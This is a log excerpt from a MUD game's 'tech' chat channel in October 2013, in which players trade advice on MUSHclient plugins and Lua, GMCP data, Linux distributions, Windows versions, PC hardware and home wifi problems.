T3/r7/2013-10-23.txt.gz:{chan ch=tech}Tech: in the alias, change "Send to: world" to "Send to: execute"
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: ooh ok thx
T3/r7/2013-10-23.txt.gz:{chan ch=tech}Sylvex Tech: nice it works thx
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Prefect Tech: hello?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hallo
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Dolt Tech: hola
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Prefect Tech: I was wondering how I can go about finding a msp for this game?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: msp?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: map perhaps
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: some clans have 2d maps
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Prefect Tech: mud sound protocol
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: thier websites anyway
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: O'
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: is there a fast way to add/remove plugins in mushclient? without going file->plugins
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Gener Tech: shift ctrl p
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Tech: you can use function commands, but you shouldn't be adding/removing them so often that it would matter
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: what are function commands
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Tech: EnablePlugin()
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: code that runs in subroutines, google it
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Tech: or could use UnloadPlugin() and LoadPlugin()
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Gener Tech: oops  shift  ctrl alt phey bitch let me out of here
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Snottjuggler Tech: anyone know a good website for blowtorch client? 
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Titilating Rumour Tech: try the google play store
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Snottjuggler Tech: not to download it but about alias' and triggers and such
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Snottjuggler Tech: unless they got that there too?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Titilating Rumour Tech: http://bt.happygoatstudios.com/
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Snottjuggler Tech: ty :)
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Ashiya Tech: anyone know the formula for calculating mastery :)?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Vost Tech: I tried using an Excel spreadsheet to retroactively calculate it
T3/r7/2013-10-24.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: no formula there. all the %'s are typed in manually
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Vost Tech: it is not a simple equation
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Ashiya Tech: I've seen the formula, just can't remember it
T3/r7/2013-10-24.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: instinct make my head hurt.. i guess it takes a few rebuilds to figure out how all those skills work.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know if there's an up-to-date auto-spellup script for tinyfugue?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: uhmm.. can anyone tell me what the variable gmcp.room.wrongdir tells me? i can't find it in hte docs...
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Never seen that gmcp variable, sure it's in gmcp?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: yes. at the moment it says gmcp.room.wrongdir = "u"
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What room?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Your GMCP handler plugin add it with an error or something?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Either an issue with your plugin, or a unique issue to a room?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: ok... i think i found out. it seems to be the last direction i tried to walk which resulted in "Alas, you cannot go that way."
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: but not necessarily related to the current room. which makes it kinda hard to use for anything.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Still something a plugin you are using adding I think....doesn't show up in my gmcp info when I go the wrong direction in a room
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Plus if such a thing was added by gmcp you'd think it would be under gmcp.room.info.EXITS
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: is it my client again or is it correct behavior that the gmcp.room.info doesn't get updated when i enter clan areas?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Cadoc Tech: Ok my room map on mush is locked up how do i reset it?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Navi Tech: Anyone have a recommendation for computer case manufacturer?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}StarsOscar Tech: any special needs?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Navi Tech: Not any that I can really think of besides that it's big enough for an ATX mobo.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Mr. Dash Tech: unless you have some special circumstance, i've been pretty happy with either coolermaster or thermaltake
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Navi Tech: Okay, those have been kinda the big two I've been looking at.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}StarsOscar Tech: anything by Compucase/Antec/CoolerMaster will do
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Keep an eye out for cases with decent USB 3.0 and front sound control, as well as making sure it's got enough space to house the new high heatsink RAM as well as the friggin huge new video cards, if you think you might need those.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The Coolermaster Storm series tends to meet all of those, though
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Navi Tech: Hm, I'll check it out.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Navi Tech: Oh, and thanks. :D
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Quadrapus Tech: Any imagej experts around?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}None the Wyza Tech: in the default distrobution of the aard mush client is there a "wait" or "pause" method for aliases?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Turie Tech: http://www.mushclient.com/scripts/function.php?name=DoAfter
T3/r7/2013-10-24.txt.gz:{chan ch=tech}None the Wyza Tech: nice
T3/r7/2013-10-24.txt.gz:{chan ch=tech}None the Wyza Tech: thanks
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Ashtray Tech: why is it that when ever I type something it throw out : [c[c[ infront of the word? 
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Comanchee Tech: any ideas why I cannot move winkle's extender GUI?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: starting with no knowledge of lua, regex, and gmcp it sure is hard to make a mapper script in mudlet... :-)
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xaxz Tech: Oh, but think where you'll be once you learn them
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: the dark side *nods*
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: I just made a script populating a table with area names and keywords. Took me 4 hours. Off to bed and continue tomorrow :-)
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Xsw Tech: what a shame mushclient doesn't run properly on a mac.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: with some virtualization You could
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Daesilme Tech: Runs fine under Wine on Mac
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Daesilme Tech: https://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: flee
T3/r7/2013-10-24.txt.gz:{chan ch=tech}ShadowWalker Tech: miss
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: is it possible to change what i have bound to my keypad with lua, in mushclient?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: also is there a boolean for if a plugin is enabled or not
T3/r7/2013-10-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: @Isafdar: http://www.gammon.com.au/scripts/function.php?name=Accelerator, http://www.gammon.com.au/scripts/function.php?name=GetPluginInfo
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: thanks, getplugininfo is what i needed :)
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: q i
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: what is the technical difference between unloading/loading a plugin vs enable/disabling it?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: like, is one more resource demanding than the other?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Redryn Tech: i would guess enabling just enables triggles/aliases
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Redryn Tech: loading loads the file
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Redryn Tech: some plugins might have stuff that executes when you read the file
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Redryn Tech: like initializing or whatever
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: I was wondering if having the plugins loaded and disabled vs only loading them when i need to use them, would be more CPU demanding. Or if the difference is insignificant.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i imagine unloading and loading would be more cpu demanding than just enabling and disabling, cause it probably needs to reparse the whole plugin file
T3/r7/2013-10-24.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: which will only matter during loading/unloading
T3/r7/2013-10-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: but leaving it loaded but disabled probably leaves it in memory
T3/r7/2013-10-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: correct
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: honestly I havent found a demanding cpu wise plugin
T3/r7/2013-10-24.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: right
T3/r7/2013-10-24.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: id expect it to be negligible to have it loaded and not enabled
T3/r7/2013-10-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: so if you really want to save the memory, then you could unload it
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: only plguins I have slowness issues are ones which save to disk something like sqlite database, frquently.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: but yeah, what herodotus said :P
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Isafdar Tech: thanks.
T3/r7/2013-10-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: pretty sure there is a way to show memory for each plugin...
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Arystul Tech: anyone know how to turn cookies on in firefox?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Umado Tech: skimpy skirt? low cut shirts?
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Tech: tools, options, privacy, history...firefox will...remember history or custom settings
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Arystul Tech: ty
T3/r7/2013-10-24.txt.gz:{chan ch=tech}Tech: np
T3/r7/2013-10-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with php/mysql i can do select * from table where id=id limit 1 ... is there a way to do a query where limit != 1
T3/r7/2013-10-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: like starting at the second record
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Chogall Tech: http://stackoverflow.com/questions/7137889/skip-first-row-in-sql-server-2005
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Dropbox: 652.7 MB...
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Book of Etzli Tech: Using that much RAM...
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Isafdar Tech: is there a way to prevent mushclient from enabling my disabled plugins when i load aardwolf?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: remove them?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: uninstall
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Isafdar Tech: i still need them though
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Make an alias to install/uninstall as needed.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: ctrl+shift+p, highlight plugin, click 'remove' or 'uninstall' (can't remember which it is), viola
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at [Outlaw] Mendaloth.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Mr. Dash Tech: if you have another plugin that uses others plugins as dependencies, they may also be coded to load and enable their dependencies
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Isafdar Tech: I have a plugin i use only sometimes, so i have an alias that enables/disables it. but when i start aardwolf, muchclient automatically enables it. So im just wondering if there is a setting to prevent that.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Ahh, your alias state isn't being saved. Have your alias set a variable to off or on (true/false), then on game-load have a trigger check that value and set the unabled state accordingly
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Isafdar Tech: is there a function in lua that runs on game-load?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Just trigger off the welcome back/returning to game messages
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Isafdar Tech: is there a way to account for mob speech delays in cexits?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Skull Tech: anyone use linux here?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: yes.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Keldrath Tech: yes
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: next question.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: yes :P
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Confounded CeriQ Tech: No.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Turie Tech: No
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Turie Tech: No
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Turie Tech: No
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: LOL 
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: bunch of geeks.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Skull Tech: I want to try it so is there a FREE version I can load and can I still log in here and play?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Arnica Tech: You all do, even if you don't know it :)
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Turie Tech: Ubuntu
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: ubuntu is a good linux starting point. and I like tintin as a mud client
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Keldrath Tech: yeah, total first timer = ubuntu or mint
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Turie Tech: You can use MUSHclient on Ubuntu too.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: ah
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Arnica Tech: and it works just fine
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Skull Tech: yes im a total dumbass when it comes to computers, but I have heard so much about how good linux is I want to give it a shot.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Zade Tech: is Mint better than Ubuntu
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: tintin isnt the most user friendly
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Arnica Tech: get Ubuntu installed and then ask for help on MUSHClient
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Obonsai Tech: i like mint better than ubuntu cause no unity, but that's preference
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Cuddlez Tech: Definitely use a liveCD for trying ubuntu though.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: though you could just use telnet :P
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Turie Tech: Use the Wiki for AardMUSH by finger Fiendish
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I prefer tintin though since it is free of bells and whistles.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: By which I mean there's nothing to click on.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Which should be the case, for a text game.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Obonsai Tech: tintin is quite lovely, using mush now, bu ti used tintin to connect to another mud i played for years, definitely slick
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Arnica Tech: I played on Ubuntu and tintin for my first year or so
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: yeah i like tintin (i use wintin on windows)
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Arnica Tech: You're in like Flint then
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Skull Tech: Ok I found :Ubuntu 12.04.3 LTS is a long-term support release: and also :Ubuntu 13.10 will be supported for 9 months.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: find the live cd and play with that fisrt, it doesnt change your hd at all
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tormat Tech: just boot off it and see your first impression
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Bast Tech: I would suggest you do what Tormat says, don't install Linux locally without having played around with it some
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: anyone remember how to enable f1 as a macro key in mush (as opposed to it opening helpfile)?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Bast Tech: File->Global Preferences->General Tab->F1, F6 are macros
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Isafdar Tech: global preferences under file
T3/r7/2013-10-25.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: obliged
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Keldrath Tech: is mush cross platform, or you guys wine it?
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Bast Tech: wine it
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Tech: Keldrath nods.
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Bast Tech: with live cds, you can play around with different distros and desktops and find the one you like the most, I use opensuse
T3/r7/2013-10-25.txt.gz:{chan ch=tech}Arnica Tech: http://www.ubuntu.com/download/desktop/try-ubuntu-before-you-install
T3/r7/2013-10-25.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: anyone work with orchard cms?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ranrr Tech: What's a good program for ripping audio cds in linux? 
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Keldrath Tech: k3b?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Jibblets Tech: handbrake
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Jibblets Tech: oh nevermind about handbrake
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ranrr Tech: trying cdparanoia now, seems to do the trick
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ranrr Tech: Haven't had an audio cd in years, realized that my computer was the only device with a cd player in my house :D
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Arnica Tech: pull the handbrake halfway to the apex of the curve, inducing oversteer. As the vehicle alligns with the exit from the curve, release the handbrake and apply the accelerator.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: DVD players also play CD
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ranrr Tech: I have no DVD player either.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ranrr Tech: This is 2013, I stream.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: if you have to replace that old CD player, you may find that the DVD replacement does not fully work on an old computer - the old software likely can't do any writes
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: an old DVD replacement shall likely work, but a modern DVD replacement likely won't work -- no backward compatibility
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: modern blue-ray DVD comes with a hard coating -- the ordinary DVD is a scratch-fest
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: as a long term storage medium, CD and DVD are unreliable
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ranrr Tech: Is anyone still using ISDN?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}ShadowWalker Tech: why does the bouncerecall need a portal.. if the point is to recall/home in areas that dont let you enter portals ?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: Question, who is a resident expert on setting up wireless networks who has more skillz at it than Zanion?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: that's a hard question. what's your issues?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: my company won't let us call experts :)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: probably because we aren't
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: I'll be on facetime or skype in the house and we'll lose connection to the network or just have a bad connection. I have a second wireless router and I think the answer is to set this second one up in the house to boost the signal. 
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: I just don't know enough if that will make it work or not.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: what makes you think it's a bad connection?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: you mean set it up as a repeater?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: yeah slowmoos
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: is the problem just with facetime or skype?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: no, browsing is slow too
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: i downloaded a freeware wifi signal tester to see if there were any conflicts in signals in my house, but it only picks up my own signal
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: slow but not loosing connection?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: so setting up a second router, as a repeater, might not solve the issue
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: yeah SM
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: do you have a wireless phone at home that runs on the same frequency as your router?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: or a microwave oven?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: no, we don't have a home phone because home phones are so 1990s
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: only iphone 4 and samsung galaxy
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: I blame the iPhones!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: iPhones are the devil! (is drawing on his waterboyness)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: Maybe you are the devil, Turie :(
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: Although I doubt it. :(
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: Turie . o O ( Damn.....my cover is blown...... )
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: but things are only slow inside the house? from the router to the outside world runs fine?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: How old is your house?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: 1.5 years old, open concept
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: So, it is steel based or wooden structure?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Save a Rezit Tech: wood
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: Hrmmm...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Pleiades Tech: you can do a simple traceroute or traceroute -d and see if that shows any latency inside or outside
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: The other thing I would wonder if there is difference between being inside or outside with how many bars the cellphones have.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: say I have graphics card which requires 12v 16amps, and I've veen running it for a year with 15amps and 12v.  is it likely to damage the card or just have it be unstable?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. is there some sort of material that goes soft when electricuting it and stays rigid when there's no current?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tormat Tech: yes... now what it is called is something else...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Navi Tech: Alright, gonna ask the techies. Need to choose a version of windows for my soon to be arriving desktop. Price is no issue since I get microsoft stuff free from school, but not sure if I should bother getting 8.1 or 8, or just sticking with 7.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: 7
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: Windows 7.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: 7
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: Windows 7 Pro if you got it.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: 8.1 > 8, but 8.1 still isn't as good as 7
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ylar Tech: Windows 7 Pro, for real.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: A Piece Of Herodotus has bunches of secret gadgets! Like the exploding-gum-aphrodesiac!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Navi Tech: Pro is what we get, yeah.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: is Windows 8.x turning out to be a bad (another Vista or ME)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: win 8 is vista all over again. wait some time and it'll be better but probably never as good as it's predecessor
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: just follow the every other mantra
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Navi Tech: Sounds like 7 Pro is the unanimous choice then.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: 98SE->skip ME->XP->skip Vista->7->skip 8.x->next
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Aizma Tech: What about 2000?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tormat Tech: but is 8.1 better?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: that was a business class OS, i don't count those
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Ayasinda Tech: no
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: not bad, it's functional...but it's touchscreen-oriented, combining the interface with that of windows mobile
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: 8.1 is better than 8, but is not better than 7
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tormat Tech: 8 is crap, they have never called a sub version before.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: if you've got a touch screen don't go for anything other than win 8.1. with a normal non-touch screen go for win 7
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: eh, you could count 98SE as a "sub version"
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tormat Tech: true...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tormat Tech: and 98 (no se) didnt last long
T3/r7/2013-10-26.txt.gz:{chan ch=tech}SlowMoos Tech: but longer than os/2 :-P
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tormat Tech: not in the banking industry :P
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: my client works on OS/2 :-)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: the OS/2 boot manager was sick: used to rewrite the MBR even when there were no changes - annoying
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: seems like there is a competition among the big vendors to discourage multi-booting between foreign platforms
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: if you say so
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien snickers softly.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: multiboot is retarded anyway
T3/r7/2013-10-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: If you say so :P
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: maybe retarded these days, since Dos 2.0 is unlikely to boot on a modern computer - MS is a nostalgia killer 
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: I still dual- and triple-boot a couple machines...virtualization technology makes it less necessary, but hasn't replaced it
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: MS has no say in the matter...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Zade Tech: MS was not cooperating back then
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: yes they were
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: and it wasn't nostalgia back then
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: virtualisation is ok, if you /really/ need it
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: MS didn't look into the future, see what hardware changes would come 10 years and 40 generations later, and write their OS to already know how to deal with them...I guess that's not cooperating...
